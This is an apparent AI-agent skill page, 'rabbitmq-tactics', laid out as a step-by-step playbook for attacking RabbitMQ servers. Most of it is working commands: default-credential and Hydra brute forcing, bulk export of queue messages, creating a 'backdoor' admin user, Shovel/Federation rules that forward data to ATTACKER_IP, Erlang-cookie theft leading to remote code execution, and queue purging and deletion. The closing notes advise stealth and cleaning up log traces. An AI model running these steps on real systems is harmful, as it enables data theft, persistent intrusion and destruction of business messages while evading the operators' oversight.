SuperAPI AI Directory

rabbitmq-tactics

Security & auditing

View repository

Updated 10-16 10:11

About this skill

RabbitMQ unauthorized access and exploitation

RabbitMQ enables the Management Plugin by default and uses guest/guest credentials (localhost only), but many instances due to configuration loopback_users = none cause the guest account to be remotely loginable—from message theft to Erlang Cookie RCE takes only a few steps.

In-depth reference (required reading)


Phase 1: Service discovery and port identification

1.1 Port scanning

# 常用端口:5672(AMQP), 15672(Management UI), 4369(epmd), 25672(集群通信)
nmap -sV -p 5672,15672,4369,25672 TARGET
AMQP service probing

nmap -sV -p 5672 --script amqp-info TARGET


### 1.2 Management UI 探测

```bash
# 检查 Management API 是否可达
curl -s -o /dev/null -w "%{http_code}" http://TARGET:15672/api/overview

# HTTPS 变体
curl -sk -o /dev/null -w "%{http_code}" https://TARGET:15672/api/overview

Key judgment:

  • Returns 401 → Management API reachable, credentials required, proceed to Phase 2
  • Returns 200 → valid authentication already present or no authentication required (rare), proceed directly to Phase 3
  • Connection failed → Management Plugin not enabled, try direct 5672 AMQP connection
  • 4369 open → epmd exposed, Erlang node names can be enumerated

Phase 2: Default credentials and weak password detection

2.1 Default credentials

# guest/guest(最常见,默认仅限 localhost,但常被配置为允许远程)
curl -s -u guest:guest http://TARGET:15672/api/overview | jq '.rabbitmq_version'

# admin/admin
curl -s -u admin:admin http://TARGET:15672/api/overview | jq '.rabbitmq_version'

# 批量测试常见凭据
for creds in "guest:guest" "admin:admin" "admin:password" "admin:123456" "rabbitmq:rabbitmq"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -u "$creds" http://TARGET:15672/api/overview)
  echo "$creds -> $code"
done

2.2 Brute force

# Hydra 针对 HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET http-get /api/overview -s 15672

# Nmap HTTP 爆破
nmap -p 15672 --script http-brute --script-args http-brute.path=/api/overview TARGET

Key judgment:

  • Returns 200 + JSON data → credentials valid, proceed to Phase 3
  • All 401 → no weak passwords, try direct AMQP 5672 port connection or look for other entry points

Phase 3: Attack decision tree

凭据有效?
├─ Management API 可用 (15672)
│   ├─ 用户具备 administrator tag
│   │   ├─ 枚举队列/Exchange/VHost → 消息批量导出 (Phase 4.1)
│   │   ├─ 创建后门用户 → 持久化访问 (Phase 4.2)
│   │   ├─ 配置 Shovel/Federation → 数据外传到攻击机 (Phase 4.3)
│   │   └─ 读取集群/节点信息 → 横向移动 (Phase 4.4)
│   └─ 用户为普通权限
│       ├─ 读取可访问队列消息
│       └─ 枚举 Exchange 绑定关系
├─ 可访问文件系统
│   ├─ 读取 Erlang Cookie → RCE (Phase 5)
│   └─ 读取 rabbitmq.conf → 获取更多凭据
└─ 仅 AMQP 5672 可达
    ├─ 用 amqp 客户端连接枚举
    └─ 监听消息消费

Pre-attack information gathering:

# 获取 RabbitMQ 版本与集群名
curl -s -u USER:PASS http://TARGET:15672/api/overview | jq '{rabbitmq_version, cluster_name, erlang_version}'

# 列出所有用户及其 tag(判断权限等级)
curl -s -u USER:PASS http://TARGET:15672/api/users | jq '.[] | {name, tags}'

# 列出所有 VHost
curl -s -u USER:PASS http://TARGET:15672/api/vhosts | jq '.[].name'

# 列出当前用户权限
curl -s -u USER:PASS http://TARGET:15672/api/permissions | jq '.'

Phase 4: Management API exploitation quick reference

4.1 Queue enumeration and bulk message export

# 列出所有队列(关注 messages 字段,非零表示有待消费消息)
curl -s -u USER:PASS http://TARGET:15672/api/queues | jq '.[] | {vhost, name, messages}'

# 从指定队列获取消息(requeue: true 不删除原消息)
curl -s -u USER:PASS \
  "http://TARGET:15672/api/queues/%2F/QUEUE_NAME/get" \
  -H "content-type: application/json" \
  -d '{"count": 100, "requeue": true, "encoding": "auto"}'

# 批量导出所有队列消息
for queue in $(curl -s -u USER:PASS http://TARGET:15672/api/queues | jq -r '.[].name'); do
  echo "=== Queue: $queue ==="
  curl -s -u USER:PASS \
    "http://TARGET:15672/api/queues/%2F/$queue/get" \
    -H "content-type: application/json" \
    -d '{"count": 10000, "requeue": true, "encoding": "auto"}'
done > rabbitmq_messages_dump.json

4.2 User creation and permission manipulation

# 创建 administrator 用户
curl -u USER:PASS -X PUT \
  http://TARGET:15672/api/users/backdoor \
  -H "content-type: application/json" \
  -d '{"password": "P@ssw0rd!", "tags": "administrator"}'

# 授予全部权限(对 / VHost)
curl -u USER:PASS -X PUT \
  "http://TARGET:15672/api/permissions/%2F/backdoor" \
  -H "content-type: application/json" \
  -d '{"configure": ".*", "write": ".*", "read": ".*"}'

# 修改已有用户密码
curl -u USER:PASS -X PUT \
  http://TARGET:15672/api/users/admin \
  -H "content-type: application/json" \
  -d '{"password": "newP@ss", "tags": "administrator"}'

4.3 Shovel/Federation data exfiltration

# 创建 Shovel:将目标队列消息实时转发到攻击机
curl -u USER:PASS -X PUT \
  "http://TARGET:15672/api/parameters/shovel/%2F/exfil-shovel" \
  -H "content-type: application/json" \
  -d '{
    "value": {
      "src-uri": "amqp://localhost",
      "src-queue": "sensitive-queue",
      "dest-uri": "amqp://ATTACKER_IP",
      "dest-queue": "stolen-data"
    }
  }'

# 创建 Federation Upstream:镜像目标 Exchange
curl -u USER:PASS -X PUT \
  "http://TARGET:15672/api/parameters/federation-upstream/%2F/attacker-upstream" \
  -H "content-type: application/json" \
  -d '{
    "value": {
      "uri": "amqp://ATTACKER_IP",
      "prefetch-count": 1000
    }
  }'

4.4 Cluster and node information

# 节点列表(获取主机名、Erlang 版本、内存使用)
curl -s -u USER:PASS http://TARGET:15672/api/nodes | jq '.[] | {name, erlang_version, mem_used}'

# 当前连接(获取客户端 IP、用户名)
curl -s -u USER:PASS http://TARGET:15672/api/connections | jq '.[] | {peer_host, peer_port, user}'

# 通道信息
curl -s -u USER:PASS http://TARGET:15672/api/channels | jq '.[] | {connection_details, user}'

→ Full API endpoints and payloads → read references/attack-techniques.md


Phase 5: Erlang Cookie RCE quick reference

5.1 Obtaining the Erlang Cookie

# 常见路径
cat /var/lib/rabbitmq/.erlang.cookie
cat /home/rabbitmq/.erlang.cookie
cat ~/.erlang.cookie

# 环境变量
env | grep -i erlang

5.2 Using the Cookie to execute commands

# 使用窃取的 Cookie 连接到目标节点
# 获取节点名(从 Management API 或 epmd)
epmd -names  # 在 4369 端口查询

# 通过 Erlang 远程调用执行命令
erl -sname attacker -setcookie STOLEN_COOKIE -remsh rabbit@TARGET_HOSTNAME

# 在 Erlang shell 中执行系统命令
> os:cmd("id").
> os:cmd("cat /etc/passwd").
> os:cmd("whoami").

# 或通过 rabbitmqctl 远程管理
RABBITMQ_ERLANG_COOKIE=STOLEN_COOKIE rabbitmqctl -n rabbit@TARGET_HOSTNAME cluster_status
RABBITMQ_ERLANG_COOKIE=STOLEN_COOKIE rabbitmqctl -n rabbit@TARGET_HOSTNAME eval 'os:cmd("id").'

Key judgment:

  • Erlang Cookie matches → RCE obtainable, privileges equivalent to the RabbitMQ process user
  • Cookie mismatch → PROTOCOL_ERROR / connection refused, cannot exploit

→ read references/attack-techniques.md for complete Erlang exploitation details


Phase 6: Exchange abuse and message tampering

6.1 Exchange enumeration

# 列出所有 Exchange
curl -s -u USER:PASS http://TARGET:15672/api/exchanges | jq '.[] | {vhost, name, type}'

# 查看 Exchange 绑定关系
curl -s -u USER:PASS \
  "http://TARGET:15672/api/exchanges/%2F/EXCHANGE_NAME/bindings/source" | jq '.'

6.2 Message injection

# 向 Exchange 发布消息(可干扰业务逻辑)
curl -u USER:PASS \
  "http://TARGET:15672/api/exchanges/%2F/EXCHANGE_NAME/publish" \
  -H "content-type: application/json" \
  -d '{"routing_key": "target.key", "payload": "injected_data", "payload_encoding": "string", "properties": {}}'

6.3 Message tampering and deletion

# 消费消息(不重新入队 = 删除)
curl -s -u USER:PASS \
  "http://TARGET:15672/api/queues/%2F/QUEUE_NAME/get" \
  -H "content-type: application/json" \
  -d '{"count": 1, "requeue": false, "encoding": "auto"}'

# 清空队列
curl -X DELETE -u USER:PASS \
  "http://TARGET:15672/api/queues/%2F/QUEUE_NAME/contents"

# 删除整个队列
curl -X DELETE -u USER:PASS \
  "http://TARGET:15672/api/queues/%2F/QUEUE_NAME"

→ read references/attack-techniques.md for the complete message tampering workflow


Tools quick reference

Tool Purpose
curl + Management API Basis for all HTTP API operations
rabbitmqadmin RabbitMQ official CLI management tool
amqp-tools (amqp-publish/amqp-consume) Direct AMQP protocol message send/receive
pika (Python) Python AMQP client, for writing automation scripts
hydra HTTP Basic Auth brute force
nmap amqp-info AMQP service information gathering
epmd Erlang port mapping, enumerate node names
erl Erlang shell, combined with Cookie to achieve RCE

Notes

  • guest/guest By default only localhost connections are allowed; remote availability indicates loopback_users = none
  • When retrieving messages requeue: false will permanently consume messages, use with caution in production environments (recommended requeue: true)
  • After Shovel/Federation is configured, messages are forwarded in real time, and traffic may be captured by network monitoring
  • The Erlang Cookie is usually a fixed string, and all nodes in the cluster share the same Cookie
  • %2F is the URL-encoded /, representing the default VHost; the encoded form must be used in API calls
  • After creation, the backdoor user and Shovel will be visible in the Management UI, so pay attention to stealth
  • rabbitmqctl operations are recorded in the RabbitMQ logs, so pay attention to cleaning up traces